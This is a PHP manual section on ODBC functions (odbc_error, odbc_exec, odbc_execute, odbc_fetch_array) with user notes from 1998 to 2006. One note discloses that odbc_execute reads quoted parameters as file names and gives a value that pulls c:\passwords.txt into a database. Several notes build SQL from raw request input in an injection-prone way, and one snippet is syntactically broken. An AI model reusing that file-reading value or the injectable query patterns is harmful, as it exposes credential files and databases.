$sql = "INSERT INTO table (field1,field2,field3,field4) VALUES ('text value 1', 'text 2',3,'text 4')";
?>
yashkhopade at hotmail dot com
10-Jul-2003 06:53
i have use this function so many times. it works well for my requirements. ok well done...

<?php
         $sqlstr="SELECT bill_no FROM SCROL";
         $queryresult=odbc_do($conn,$sqlstr);
         odbc_fetch_row($queryresult,$bills);

       // if we want to access the records
       // then we have to write the following code

       echo $bills[0];

?>

the out put for this will:

 1
which is actullay first record of resultset.
add a note add a note

后退 | 起点 | 前进
odbc_data_source | 上一级 | odbc_error


odbc_error

(PHP 4 >= 4.0.5, PHP 5)

odbc_error -- Get the last error code

Description

string odbc_error ( [resource connection_id] )

Returns a six-digit ODBC state, or an empty string if there has been no errors. If connection_id is specified, the last state of that connection is returned, else the last state of any connection is returned.

This function returns meaningful value only if last odbc query failed (i.e. odbc_exec() returned FALSE).

See also: odbc_errormsg() and odbc_exec().

add a note add a note User Contributed Notes
sunil_limje at indiatimes dot com
18-Jul-2003 06:06
I have use this function, its very simple and cute.
with IBM DB2
<?php
         // you must set the connection first
         if (odbc_error())
         {
               echo odbc_errormsg($conn);
         }
         // if you want to show the perfect error message
         // then format it using string functions.
?>
Have a good day!
Sergio Sartori
04-Apr-2003 01:56
Using IBM DB2 V7.1 and MS SQL Server 7 ODBC database connections.
Print the result of odbc_error() or odbc_errormsg() after each call to an odbc_ function that gives no error and, sooner or later, you'll get garbage instead of a blank string!
aaronbair at hotmail dot com
09-Mar-2002 12:26
If you use an argument, make sure its the CONNECTION_ID and not the RESULT_ID.

Testing the result can return a null string or sometimes a garbage string.

# -- Example code  --
$rs = odbc_exec($dbc, $sql);

#this is wrong but won't error out until
#you demo the page for a client!
  if (odbc_error($rs)) die(...);

#these work
  if (odbc_error()) die(...);
  if (odbc_error($dbc)) die(...);
add a note add a note

后退 | 起点 | 前进
odbc_do | 上一级 | odbc_errormsg


odbc_errormsg

(PHP 4 >= 4.0.5, PHP 5)

odbc_errormsg -- Get the last error message

Description

string odbc_errormsg ( [resource connection_id] )

Returns a string containing the last ODBC error message, or an empty string if there has been no errors. If connection_id is specified, the last state of that connection is returned, else the last state of any connection is returned.

This function returns meaningful value only if last odbc query failed (i.e. odbc_exec() returned FALSE).

See also: odbc_error() and odbc_exec().

add a note add a note User Contributed Notes
phobo at paradise dot netDOTnz
07-May-2001 05:28
The odbc_errormsg() function was added in PHP 4.0.5

To get odbc error messages before that, use the $php_errormsg global and turn Track Errors ON in php.ini
add a note add a note

后退 | 起点 | 前进
odbc_error | 上一级 | odbc_exec


odbc_exec

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_exec -- Prepare and execute a SQL statement

Description

resource odbc_exec ( resource connection_id, string query_string [, int flags] )

Returns FALSE on error. Returns an ODBC result identifier if the SQL command was executed successfully.

odbc_exec() will send an SQL statement to the database server specified by connection_id. This parameter must be a valid identifier returned by odbc_connect() or odbc_pconnect().

See also: odbc_prepare() and odbc_execute() for multiple execution of SQL statements.

add a note add a note User Contributed Notes
31-May-2006 08:02
Wouldn't it be better to use the database itself to find out if an id doesn't exist. eg: SELECT COUNT(id) as idCount FROM [Table] WHERE id = [ID]

Then check if idCount is zero or not.
joex444 at gmail dot com
22-Sep-2005 05:14
Maybe not the best way, but here's how I find out if a row doesn't exist:

$row=odbc_fetch_array($result);
$id=$row['id'];
if($id=="") {
//no rows
} else {
//rows
}

Where the 'id' field is a required field in your table...
30-Aug-2005 09:18
The following seems counterintuitive to me and so I am constantly getting burned by it.  Just thought I'd add a note for anyone else who might also get burned.

  if (!odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))

is not a good way to search for the existence of a record with Key1 = x and Key2 = y.  The odbc_exec always returns a result handle, even though there aren't any records.

Rather, you must use one of the fetch functions to find out that the record really doesn't exist.  This should work:

  if (!($Selhand = odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))
   || !odbc_result($Selhand, 1))
fuadMD at gmail dot com
24-May-2005 03:34
<?php
// - This is a complete working dynamic example of using:
//    odbc_connect, odbc_exec, getting col Names,
//    odbc_fetch_row and no of rows. hope it helps
// - your driver should point to your MS access file

$conn = odbc_connect('MSAccessDriver','','');

$nrows=0;

if ($conn)
{
$sql =  "select * from $month";
//this function will execute the sql satament
$result=odbc_exec($conn, $sql);

echo "<table  align=\"center\" border=\"1\" borderColor=\"\" cellpadding=\"0\" cellspacing=\"0\">\n";
echo "<tr> ";
// -- print field name
$colName = odbc_num_fields($result);
for ($j=1; $j<= $colName; $j++)
{
echo "<th  align=\"left\" bgcolor=\"#CCCCCC\" > <font color=\"#990000\"> ";
echo odbc_field_name ($result, $j );
echo "</font> </th>";
}
$j=$j-1;
$c=0;
// end of field names
while(odbc_fetch_row($result)) // getting data
{
 $c=$c+1;
 if ( $c%2 == 0 )
 echo "<tr bgcolor=\"#d0d0d0\" >\n";
 else
 echo "<tr bgcolor=\"#eeeeee\">\n";
   for($i=1;$i<=odbc_num_fields($result);$i++)
     {
       echo "<td>";
       echo odbc_result($result,$i);
       echo "</td>";
       if ( $i%$j == 0 )
           {
           $nrows+=1; // counting no of rows
         }
     }
   echo "</tr>";
}

echo "</td> </tr>\n";
echo "</table >\n";
// --end of table
if ($nrows==0) echo "<br/><center> Nothing for $month yet! Try back later</center>  <br/>";
else echo "<br/><center> Total Records:  $nrows </center>  <br/>";
odbc_close ($conn);

}
else echo "odbc not connected <br>";
?>
james @ php-for-beginners co uk
18-Mar-2005 08:54
hi all, I managed to get this little snippet working, it's pretty useful if you have long forms to be inserted into a database.

if ( ! empty ( $_POST ) ){
array_pop($_POST);
 foreach($_POST as $key => $val){
  $columns .= addslashes($key) . ", ";
   $values .= "'" . addslashes($val) . "', ";

 }
 $values = substr_replace($values, "", -2);
 $columns = substr_replace($columns, "", -2);

 $sql = "INSERT INTO table ($columns) VALUES ($values)";
 echo $sql;
 $results = odbc_exec($conn, $sql);
                 if ($results){
             echo "Query Executed";
               }else {
             echo "Query failed " .odbc_error();
           }
}

Not the most secure in the world but, speeds up collecting data from large forms.
mramirez at star-dev dot com
01-Mar-2005 08:23
Hi, I was trying to execute an stored procedure with
PHP 4.3.10 and MS SQL Server 6.5 using PHP function
"odbc_exec" and ODBC.

The problem was that it returned an ouput parameter
and didn't  know the right PHP functions and SQL
syntax to call it.

Finally after looking elsewhere, it worked this way:

<html>

<title>test.php</title>

<body>

<?php
  $server  = 'myservername';
  $database = 'mydatabasename';
  $username = 'myusername';
  $password = 'mypassword';

  $connection_string =
   'DRIVER={SQL SERVER};SERVER=' . $server . ';DATABASE=' . $database;

  $connection = odbc_connect($connection_string, $username, $password);

  $sql  = "BEGIN ";
  $sql .= "  declare @MyOutputValue int ";
  $sql .= "  execute MyStoredProc @MyOutputValue output select @MyOutputValue ";
  $sql .= "END ";

  echo '<form>' . chr(13);
  echo '<table border="1">' . chr(13) . chr(13);
  echo '<tr>';
  echo '<td><b>Valor</b></td>';
  echo '</tr>';

  $query = odbc_exec($connection, $sql);

  while(odbc_fetch_row($query))
  {
     echo '<tr>' . chr(13);

     // "odbc_result" = "FieldByNumber(Index)",
     // "Index" starts with 1 not 0 !!! :
     $returnvalue = odbc_result($query, 1);

     echo '<td>' . $returnvalue . '</td>';
     echo '</tr>' . chr(13);
     echo chr(13);
  }

  echo '</table>' . chr(13);
  echo '</form>' . chr(13);

  odbc_free_result($query);

  odbc_close($connection);

?>

</body>

</html>

Good Luck.
Tom Cully <mail at tomcully dot com>
01-Mar-2005 12:22
MS Access through ODBC doesn't just not like quotes (escape with '' - two single quotes), it also really hates newlines - chr(10)s - in LONGCHAR fields, and maybe in other BINARY based fields as well. Leave in a return character - chr(13) - to get a "new line" when working with LONGCHAR fields in ODBC/MS Access:

Here's a function to do both for you:

function odbc_access_escape_str($str) {
 $out="";
 for($a=0; $a<strlen($str); $a++) {
  if($str[$a]=="'") {
   $out.="''";
  } else
  if($str[$a]!=chr(10)) {
   $out.=$str[$a];
  }
 }
 return $out;
}
d dot soussan at sovereignls dot co dot uk
17-Jan-2005 12:19
re the note from: sk2xml at gmx dot net 21-Nov-2001 02:15

About [] not working with Access.

if you use [] arount the field name then you must also use them around the table name, thus:

select [table1].[field1] from table1

That is standard Access syntax.

sk2xml's example had:

select table1.[field1] from table1

which will always fail.
Philip_Neeson at Hotmail dot com
15-Nov-2004 06:20
I kept getting FATAL: emalloc() errors when using select statements via odbc for MS SQL.

I had no control over the DB as it is a commercial CRM system.

I found that by 1st issuing an SQL query of "set textsize 9999;' within my PHP script is has resolved the issue..

I am running PHP 3.x on a Windows 2000 server that is patched to the max,

I spent hours on this one trying diferent ODBC drivers etc and this simple SQL resolved the issue.
sameer dot kelkar at gmail dot com
31-Aug-2004 06:26
$callstore  = odbc_exec($conn, "{CALL procedurename('" . $para1 . "','" . $para2 . "',1,'125478')}");
           odbc_fetch_row($callstore);
           $returnmessage  =  odbc_result($callstore,1);
       echo $returnmessage;
victor dot kirk at serco dot com
26-May-2004 08:47
rupix said above:
> it does not work. However if I use single quotes instead of \" the thing runs smoothly

SQL uses 'single quotes' to specify strings, thats why a \" does not work.
Sean Boulter
22-Apr-2004 08:50
Update to my previous post... Another way to solve the problem with single quotes (at least in my environment (php 4.3.6, ODBC to MS Access db)), is to edit the php.ini file and set magic_quotes_gpc = On and magic_quotes_sybase = On.  Note that this is a global setting, which may or may not be desirable.
Sean Boulter
22-Apr-2004 08:28
If a single quote exists within the field specified by your WHERE statement, ODBC fails because of a parsing error.  Although it seems intuitive, using \" around the field does not work (\"$var\").  The only solution I found was to replace all single quotes in my field with two single quotes.  ODBC interprets the first single quote as an escape character and interprets the second single quote as a literal.  Thanks to http://www.devguru.com/features/knowledge_base/A100206.html for this tip.
christopherbyrne at hotmail dot com
23-Jan-2004 05:33
When you pass a parameter to an Access procedure all data types (seemingly) can be single quoted and dates do not need (and will not work when) surrounded by #'s.

Hope this helps!
rob at vendorpromotions dot com
17-Jun-2003 04:29
This opens select statements 'for update' by default in db2.  If you're using db2, you have to tack on 'for read only' at the end to select from SYSCAT.TABLES, for example, without firing an error like

Warning: SQL error: [IBM][CLI Driver][DB2/LINUX] SQL0151N The column "MAXFREESPACESEARCH" cannot be updated. SQLSTATE=42808 , SQL state 42808 in SQLExecDirect

For example :

$query = odbc_exec($conn, "select * from syscat.tables for read only");
odbc_result_all($query);

will work (only for db2).  I don't know about other databases.

The select statement will work in the 'db2' command line, but not in php, because of this side effect.
rupix at rediffmail dot com
05-Apr-2003 11:05
I tried the following line of code

<?php
$odbc=odbc_connect("pbk", "root","") or die(odbc_errormsg());
$q="insert into pbk values(\"$name\", \"$phone\")";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

it does not work. However if I use single quotes instead of \" the thing runs smoothly

thus the following would work

<?php
$odbc=odbc_connect("pbk", "yourworstnightmare","abracadabra") or die(odbc_errormsg());
$q="insert into pbk values('$name', '$phone')";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

Also having a user dsn is no good on win2k. Always have a System DSN. I don't know yet what are the implications of the same.
das_yrch at hotmail dot com
07-Mar-2003 07:17
I tried this way to see the results of a query and it works!!

$Conn = odbc_connect
("bbdd_usuaris","","",SQL_CUR_USE_ODBC );

$result=odbc_exec($Conn,"select nom from usuaris;");

while(odbc_fetch_row($result)){
         for($i=1;$i<=odbc_num_fields($result);$i++){
       echo "Result is ".odbc_result($result,$i);
   }
}
miguel dot erill at doymer dot com
24-Jul-2002 06:33
In a previous contribution it was told that if you're running NT/IIS with PHP 3.0.11 you can use MS Access dbs "stored procedures".

That was right, but if those stores procedures have parameters you have to supply them in the command line like this:

$conn_id = odbc_connect( "odbc_test_db", "","", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery(".$param.")}" );
martin at NOSPAMkouba dot at
06-Feb-2002 12:37
"[Microsoft][ODBC Microsoft Access Driver] Too few
parameters. Expected 1."

this not so clear to understand error comes when using access-odbc and a field name can't be found. check for correct spelling of fields.
lee200082 at hotmail dot com
22-Jan-2002 09:07
As an addition to the note about square brackets earlier:

Enclosing sql field names in '[' and ']' also allows you to use MS Access reserved words like 'date' and 'field' and 'time' in your SQL query... it seems that the square brackets simply tell Access to ignore any other meaning whatever is inside them has and take them simply as field names.
mh at maxx-web dot de
07-Jan-2002 01:25
Ich habe beim Nutzen von odbc_exec($conn, $sql); einen Bug entdeckt.

Wenn das SQL Statement ein reines "update" Statement ist so wird es nicht in die Datenbank geschrieben.

Erst nach dem Aufruf eines erneuten "Select" Statements, werden die Daten des vorigen Update Statements geschrieben.
$sql="select * from UserQuotas";
odbc_exec($conn, $sql);

Ich weiss nicht ob mein System daran Schuld ist oder ob es wirklich ein Fehler ist. Ein Oracle spezifisches "commit" habe ich zumindest nirgends gefunden.
sk2xml at gmx dot net
21-Nov-2001 10:15
Problem: Fieldnames in SQL-Statement have blanks and [] don't work!

Solution: Try "" instead

Ex.:

SELECT table2.first, table1.[last name] FROM tabel1, table2 -> don't work

SELECT table2.first, table1.\"last name\" FROM tabel1, table2 -> Try this

PS: Don't forget the espace characters !!!
david dot geere at nospam dot talk21 dot com
18-Aug-2001 04:08
Problem: Kept getting FATAL: emalloc() errors when using basic select statements via odbc for informix ....
Solution: Cast the columns to an informix odbc friendly type...I chose varchar(255)
example: select description::varchar(255) from objects;

Don't go through the 4 hours I just went through for this..you :-) me :-(
cfewer1 at home dot com
15-Aug-2001 05:25
If you're receiving a 'Syntax error in INSERT INTO ..<snip>.. SQL State 37000 in SQLExecDirect' error, try enclosing the field names between square brackets.

ex:

INSERT INTO whatever ([blah],[who],[what]) VALUES ('blah','blah','blah');

I spent 4 hours tryin to get this insert statement (without the []'s) to work. This seems to have fixed it.

[]'s, apparently according to MS, should be used with table/field names with spaces. Im not sure if this is an MS ODBC thing, or a PHP flaw.

tested with: win32/php4.0.6/apache1.3.20/odbc/mdac2.6sp1
akchu at at ualberta dot ca
08-Jan-2001 12:41
ODBC/MS Access Date Fields:

Matching dates in SELECT statements for MS Access requires the following format:
#Y-m-d H:i:s#

for example:

SELECT * FROM TableName WHERE Birthdate = #2001-01-07 00:00:00#

or

SELECT * FROM TableName WHERE Birthdate BETWEEN #2000-01-07 00:00:00# AND #2001-01-07 00:00:00#

This took me forever to figure out.
vpil at retico dot com
06-Nov-2000 10:24
Additional links to ODBC_exec:
How to actually write the SQL commands:
http://www.roth.net/perl/odbc/faq/
http://www.netaxs.com/~joc/perl/article/SQL.html
Demystifying SQL
BIG REF MANUAL:
http://w3.one.net/~jhoffman/sqltut.htm
Introduction to Structured Query Language
Covers read, add, modify & delete of data.
phobo at at at paradise dot net dot nz
02-Nov-2000 10:26
If Openlink -> MS Access Database fails and gives "Driver Not Capable" error or "No tuples available" warning, use the SQL_CUR_USE_ODBC cursor when using odbc_connect()...

Siggy
andreas dot brunner at rubner dot com
08-Jul-2000 07:54
I wanted to access an MSAccess database via ODBC. The connection functioned without problems, but when I placed a SQL statement into my odbc_exec() i always got an error:
Warning: SQL error: [Microsoft][ODBC Driver Manager] Driver does not support that function, SQL state IM001 in SQLSetStmtOption in \\Server\directory/test.php3 on line 19.

Resolved my problem by myself: i simply had to install a new odbc-driver from the microsoft homepage.
gross at arkana dot de
28-Oct-1999 09:03
If you're running NT/IIS with PHP 3.0.11 and want to use MS Access dbs with "stored procedures" you can send an ODBC SQL query like:

$conn_id = odbc_connect( "odbc_test_db", "", "", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery}" );

This way you don't need to integrate query strings like

SELECT * FROM TblObject WHERE (((TblObject.something) Like "blahblahblah"));

in the php file. You directly call the query "MyQuery" that was generated by MS Access.
rmkim at uwaterloo dot ca
26-Aug-1999 02:13
for Win32(NT) and MSAcess 2000, whenever you retrieve a date column/field, php will automatically convert it to 'yyyy/mm/dd hh:mm:ss' format regardless of the style of date you've denoted in Access.
This seems to pose a problem when you exec SELECT, UPDATE, or DELETE queries, but strangley INSERT works fine. I've tried parsing the date into the desired format, but php still yells criteria mismatch.
add a note add a note

后退 | 起点 | 前进
odbc_errormsg | 上一级 | odbc_execute


odbc_execute

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_execute -- Execute a prepared statement

Description

bool odbc_execute ( resource result_id [, array parameters_array] )

Executes a statement prepared with odbc_prepare().如果成功则返回 TRUE，失败则返回 FALSE。 The array parameters_array only needs to be given if you really have parameters in your statement.

Parameters in parameter_array will be substituted for placeholders in the prepared statement in order.

Any parameters in parameter_array which start and end with single quotes will be taken as the name of a file to read and send to the database server as the data for the appropriate placeholder.

注: As of PHP 4.1.1, this file reading functionality has the following restrictions:

  • File reading is not subject to any 安全模式 or open-basedir restrictions. This is fixed in PHP 4.2.0.

  • Remote files are not supported.

  • If you wish to store a string which actually begins and ends with single quotes, you must escape them or add a space or other non-single-quote character to the beginning or end of the parameter, which will prevent the parameter's being taken as a file name. If this is not an option, then you must use another mechanism to store the string, such as executing the query directly with odbc_exec()).

add a note add a note User Contributed Notes
mjs at beebo dot org
27-Mar-2006 05:57
Don't miss the part where it says that if your string starts and ends with a single quote, the string is interpreted as a filename!

This means that you can't do:

$sth = odbc_prepare($dbh, "INSERT INTO people(name) VALUES(?)");
$res = odbc_execute($sth, array($name));

without checking the value of $name--if $name is, say, '\\'c:\\passwords.txt\\'' the contents of c:\\passwords.txt get inserted into your database as a "name".

Also, despite what the documentation suggests, there (incredibly) doesn't appear to be any way to escape your single quotes (via experimentation, and from reading the source): if your string starts and ends with a single quote you cannot use odbc_execute to insert it into the database.
russell dot brown at removethis dot insignia dot com
10-Feb-2004 04:55
In reply to tcmleung at yahoo dot com (09-Nov-2001), I would add a caveat that I've found, which is that the odbc.defaultlrl/odbc_longreadlen() values may only apply to odbc->php conversion and not php->odbc (though this may be database-specific). Hence, if you want to post binary data the 4096 byte limit still stands. So you stand a better chance of being able to post binary data using the quoted filename upload procedure described above, rather than using the prepare... execute method with data held in a php variable.
svemir_AT_baltok.com
07-Sep-2002 01:45
In reply to cpoirier's note from 04-Mar-2001 03:30:

Currently, Access 2000 DOES support parametrized queries via ODBC. It still seems to have a problem with Memo and OLE fields, but "normal" types work just fine.
noreply at hotmail dot com
08-Jan-2002 01:41
i had trouble executing an INSERT using MS ACCESS 2000 - for some reason the problem resolved when I used odbc_connect as opposed to odbc_pconnect. (thought this might help someone else out)
tcmleung at yahoo dot com
09-Nov-2001 05:22
odbc has a maximum buffer size, that means it only stores and retrieves a limited size of data to/from database each time. The maximum buffer size is 4096 and set in php.ini (odbc.defaultlrl). You can set it to higher value for larger data access.
sjericson at mindspring dot com
26-Aug-2001 01:43
I don't think odbc_prepare and odbc_execute support output parameters for stored procedures on MSSQL.  An example of output parameters for MSSQL is at  http://support.microsoft.com/support/kb/articles/q174/2/23.asp

Also, my MSSQL driver seems happy only when I use the following incantation:

...code removed...
$stmt=odbc_prepare($conn_id, "exec my_proc_name ?,?,?");
$parms=array("fred","password",5);
if (!odbc_execute($stmt, &$parms)) die("odbc_execute failed");
reaganpr at hotmail dot com
24-Jul-2001 07:50
When running the CGI version of 4.0.6 under windows, I came across this error when trying to call a stored procedure in SQL Server using odbc_execute w/ the parameter array set:

FATAL:  emalloc():  Unable to allocate 268675669 bytes

Scary error, huh? In my case it just meant that SQL Server couldn't find the stored procedure.  Totally my fault, but a rather nondescript error message.

p.
cpoirier at shelluser dot net
04-Mar-2001 06:30
A quick note in hopes that my pain will save someone else:  Microsoft Access ODBC drivers do not support parameterized queries.
edrenth at thematec dot nl
17-Oct-2000 09:17
When used with parameters and the statement fails, you cannot use different arguments anymore, the same arguments as with the failed statement will be used.
nospam at geht dot net
11-Sep-1999 12:45
For examples how to use the parameters array see the example for
function.serialize.php
in the Misc. section.
tony dot wood at revolutionltd dot com
28-May-1999 07:08
For a simple database insert to a database that has no password and $from and $to are predefined variables.

/* get connection */
$conn=odbc_connect("mydb","","");

/* run insert */
$stmt = odbc_prepare($conn, "INSERT INTO mytable (jor_from, jor_to) VALUES('$from', '$to');" );

/* check for errors */
if (!odbc_execute($stmt)) {
   /* error  */
   echo "Whoops";
}

/* close connection */
odbc_close($conn);
wntrmute at tampabay dot rr dot com
16-Aug-1998 12:22
Solid Issue:
Solid defines CHAR, VARCHAR, LONG VARCHAR, BINARY, VARBINARY, and LONG VARBINARY to be a maximum of 2G in length.  However, when creating your tables for use with PHP one should choose LONG VARCHAR or LONG VARBINARY for these kinds of fields if you are planning on storing really large or lengthy data.  IE: Data exceeding 64k in length such as GIF/JPG, or really huge text areas.
add a note add a note

后退 | 起点 | 前进
odbc_exec | 上一级 | odbc_fetch_array


odbc_fetch_array

(PHP 4 >= 4.0.2, PHP 5)

odbc_fetch_array -- Fetch a result row as an associative array

说明

array odbc_fetch_array ( resource result [, int rownumber] )

Fetch an associative array from an ODBC query. See the changelog below for when this function is available.

参数

result

The result resource from odbc_exec().

rownumber

Optionally choose which row number to retrieve.

返回值

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

更新日志

版本 | 说明
4.3.3 | This function exists when compiled with IBM DB2 or UnixODBC support.
4.3.2 | This function exists when compiled for Windows.
4.0.2 | This function exists when compiled with DBMaker support.

参见

odbc_fetch_row()
odbc_fetch_object()
odbc_num_rows()

add a note add a note User Contributed Notes
nauti at knusperleicht dot at
06-Mar-2006 01:19
An easy possibility to use list() for requesting data by while-loop.

define('ODBC_DB_DSN', 'dbsys');
define('ODBC_DB_USR', '');
define('ODBC_DB_PWD', '');

function record($resId){
   $mpResult = odbc_fetch_array($resId);
   if(is_array($mpResult)) {
       return array_values($mpResult);
   }
   return false;
}

$resLink = odbc_pconnect(ODBC_DB_DSN, ODBC_DB_USR, ODBC_DB_PWD);
if(is_resource($resLink)) {
   $stQuery = "SELECT id, sort, name FROM category";
   $resId = odbc_exec($resLink, $stQuery);

   while(list($nID, $nSort, $stName) = record($resId)) {
       echo $nID, " ", $nSort, " ", $stName;
       echo "<br />\r\n";
   }
   if(is_resource($resId)) {
       odbc_free_result($resId);
   }
   if(is_resource($resLink)) {
       odbc_close($resLink);
   }
}
craig at ozbackup dot net dot au
25-Feb-2006 07:55
for some reason the following code seams to work but returns nothing.

[code]
$username = $clientinfo_row[6];

function dbquery($sql) {
  $arr    = array();
  $conn = odbc_connect('DB_name','','');
  $rs    = odbc_exec($conn,$sql);
  $x      = 1;
  while (odbc_fetch_row($rs)) {
   for ($y = 1; $y <= odbc_num_fields($rs); $y++)
     $arr[$x][$y] = odbc_result($rs,$y);
   $x++;
  }
  if ($x > 1)
   return $arr;
}

//usage:
$dbsel = sprintf(
"SELECT UserId FROM Users WHERE Users.UserName = '%s'", $username);
$arr=dbquery($dbsel);
echo $arr[1][1]."<br>";//echo's first column of the first row
echo $arr[1][2]."<br>";
[/code]

I believe it has something to do with sprintf line? Even tho echoing it returns the right SELECT statement.
any help would rock thanx
tim at tmcode dot com
15-Sep-2005 11:07
Depending on the odbc driver/operating system you are using,  odbc_fetch_array might not be defined. (ie if you used --with-custom-odbc you may be out of luck).  The following can be safely added to define the odbc_fetch_array function if doesn't exist already.  Unlike some of the other examples contributed here, this one will create the numeric keys and the text keys.  This function is definitely not very optimal because it has to check the number of fields and field names each time a row is pulled.  Often you will be looping through a result set and there is no need to pull this information each time.  It could probably be improved by caching the result of these functions but I'll leave that as an exercise for someone else... :)

if(!function_exists("odbc_fetch_array"))
{

   function odbc_fetch_array($res)
   {
       // make sure to pass back the false if we are out of rows
       if(!odbc_fetch_row($res)) return false;

       $row=array();

       // populate the row array
       $numfields=odbc_num_fields($res);
       for($i=1; $i<=$numfields; $i++)
       {
           //odbc starts its indice at 1 but since I am
           // trying to emulate the functionality of *_fetch_array
           // for other dbs (ie mysql)  I'm going to decrement my
           // my numeric indice by 1.  This might not be what
           // you are after in which case get rid of the -1
           $row[odbc_field_name($res,$i)]=$row[$i-1]=odbc_result($res,$i);

       }
       return $row;
   }

}
javiles dot lazcano at gmail dot com
15-Sep-2005 10:24
Hi. And using the same example to connect to a SYBASE ASE 12.0 Server with ODBC and Stored procedures, we have the following code:

<?PHP
function sybase_rs($SP){
  include("INCLUDE/sdd.odbc.conect.php");
  $ARRAY    = array();
  $RS        = odbc_exec($conexion,$SP);
  $CONT        = 1;
  while (odbc_fetch_row($RS))
         {
         for ($y = 1; $y <= odbc_num_fields($RS); $y++)
             echo odbc_result($RS,$y);
             $CONT++;
           }
   if ($CONT > 1)

}

$r = sybase_rs("{CALL dbo.sdd_determina_usuario ('". $_REQUEST['usuario']."','". $_REQUEST['clave']."')}");
echo $r;
?>
Remy
12-Apr-2005 08:35
I use this function to get my recordset in an array, and it's very easy to use.

function dbquery($sql) {
  $arr    = array();
  $conn = odbc_connect('dsn','user','pass');
  $rs    = odbc_exec($conn,$sql);
  $x      = 1;
  while (odbc_fetch_row($rs)) {
   for ($y = 1; $y <= odbc_num_fields($rs); $y++)
     $arr[$x][$y] = odbc_result($rs,$y);
   $x++;
  }
  if ($x > 1)
   return $arr;
}

usage:

$arr=dbquery("SELECT * FROM tblTable");
echo $arr[1][1] //echo's first column of the first row
philip
22-Mar-2005 12:03
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
jezndiatyahoodotcodotuk
25-Feb-2005 07:59
This function is undefined in 4.1.2 (RedHat 7.3) despite the claims of the documentation.

It's just too useful a function not to have, particularly if your database is prone to change. Here's my quick and dirty version:

function odbc_fetch_array($resource, &$array)
{
   $array=array(); // Truncate the array first...
   if (! $int = odbc_fetch_into ($resource, $result_array))
       return false;
   for ($i=1; $i <= $int; $i++)
   {
       $array[odbc_field_name($resource, $i)] = $result_array[$i - 1];
   }
   return true;
}
miles at e-clipseconsulting dot com
16-Dec-2004 05:47
In response to Sena's post, odbc_num_rows does not always return a row count.  When executing a query on MS Access it seems to return a row count of -1.

<?php

while(odbc_num_rows($myodbcexec)){
       $myarray[] = odbc_fetch_array($myodbcexec);
}

?>

Just something to watch out for when attempting to execute this code.

Miles Phillips
e-Clipse Consulting
russ at russprince dot com
12-Nov-2004 10:57
I really liked Ryan's example so I took it another step and added a recordset class to work with the connection class.  I made slight alterations to the original code as well.  Also note the recordset class takes advantage of php5's __get property function...

<%
class odbcRecordset {
   var $recordcount;
   var $currentrow;
   var $eof;

   var $recorddata;
   var $query;

   function odbcConnection(){
     $this->recordcount = 0;
     $this->recorddata = 0;
   }

   function SetData( $newdata, $num_records, $query ) {
     $this->recorddata = $newdata;
     $this->recordcount = $num_records;
     $this->query = $query;
     $this->currentrow = 0;
     $this->set_eof();
   }

   function set_eof() {
     $this->eof = $this->currentrow >= $this->recordcount;
   }

   function movenext()  { if ($this->currentrow < $this->recordcount) { $this->currentrow++; $this->set_eof(); } }
   function moveprev()  { if ($this->currentrow > 0)                  { $this->currentrow--; $this->set_eof(); } }
   function movefirst() { $this->currentrow = 0; set_eof();                                              }
   function movelast()  { $this->currentrow = $this->recordcount - 1;  set_eof();                        }

   function data($field_name) {
     if (isset($this->recorddata[$this->currentrow][$field_name])) {
         $thisVal = $this->recorddata[$this->currentrow][$field_name];
     } else if ($this->eof) {
         die("<B>Error!</B> eof of recordset was reached");
     } else {
         die("<B>Error!</B> Field <B>" . $field_name . "</B> was not found in the current recordset from query:<br><br>$this->query");
     }

     return $thisVal;
   }

   function __get($field_name) {
     return $this->data($field_name);
   }
}

class odbcConnection {
   var $user;  //Username for the database
   var $pass; //Password

   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
     $this->user = "";
     $this->pass = "";
   }

   function open($dsn,$user,$pass){
     $handle = @odbc_connect($dsn,$user,$pass,SQL_CUR_USE_ODBC) or
         die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
     $this->conn_handle = $handle;
     return true;
   }

   function &execute($query){
     //Create a temp recordset
     $newRS = new odbcRecordset;
     $thisData = "";

     $res = @odbc_exec($this->conn_handle,$query) or
         die("<B>Error!</B> Couldn't Run Query:<br><br>" . $query . "<br><br>Error Code:  ".odbc_error());
     unset($this->temp_fieldnames);

     $i = 0;
     $j = 0;
     $num_rows = 0;

     // only populate select queries
     if (stripos($query, 'select ') !== false) {
         while(odbc_fetch_row($res)) {
           $num_rows++;

           //Build tempory
           for ($j = 1; $j <= odbc_num_fields($res); $j++) {
               $field_name = odbc_field_name($res, $j);
               $this->temp_fieldnames[$j] = $field_name;
               $ar[$field_name] = odbc_result($res, $field_name) . "";
           }

           $thisData[$i] = $ar;
           $i++;
         }
     }

     //populate the recordset and return it
     $newRS->SetData( $thisData, $num_rows, $query );
     return $newRS;
   }
}
%>

usage is pretty simple:

<%
  $con = new odbcConnection
  $con->open("dsn","user","pass")

  $sql = "select bar from foo";
  $rs = $con->execute($sql);

  if (!$rs->eof) {
   print $rs->data("bar");
     // or //
   print $rs->bar;
  }

  while (!$rs->eof) {
   // blah blah code
   $rs->movenext();
  }
%>

Works pretty well, but I haven't thoughly tested it yet.
Code can be dl'd here:

http://www.russprince.com/odbc_functions.zip

Cheers,
Russ
phpnet dot odbc_fetch_array at pixbox dot co dot uk
05-Jun-2004 03:07
It all seems so obvious now, but in case you're stuck on how to get the entire ODBC query into one array, instead of just one line, this will do the trick:

<?php

while(odbc_num_rows($myodbcexec)){
       $myarray[] = odbc_fetch_array($myodbcexec);
}

?>

sina
london
Ryan (rystar_x2000 at hotmail dot com)
10-Apr-2004 09:39
Heya,

After much fiddling around with the odbc_num_rows() function, and trying to get odbc_fetch_array() to play nice with it, I decided to write this little function which will return a 2-dimensional array, in the format [rownumber][field].

The 'rownumber' array index is obviously the number of the row stored in the array.
The 'field' index is keyed to the field name on that row.

--Function--
<?

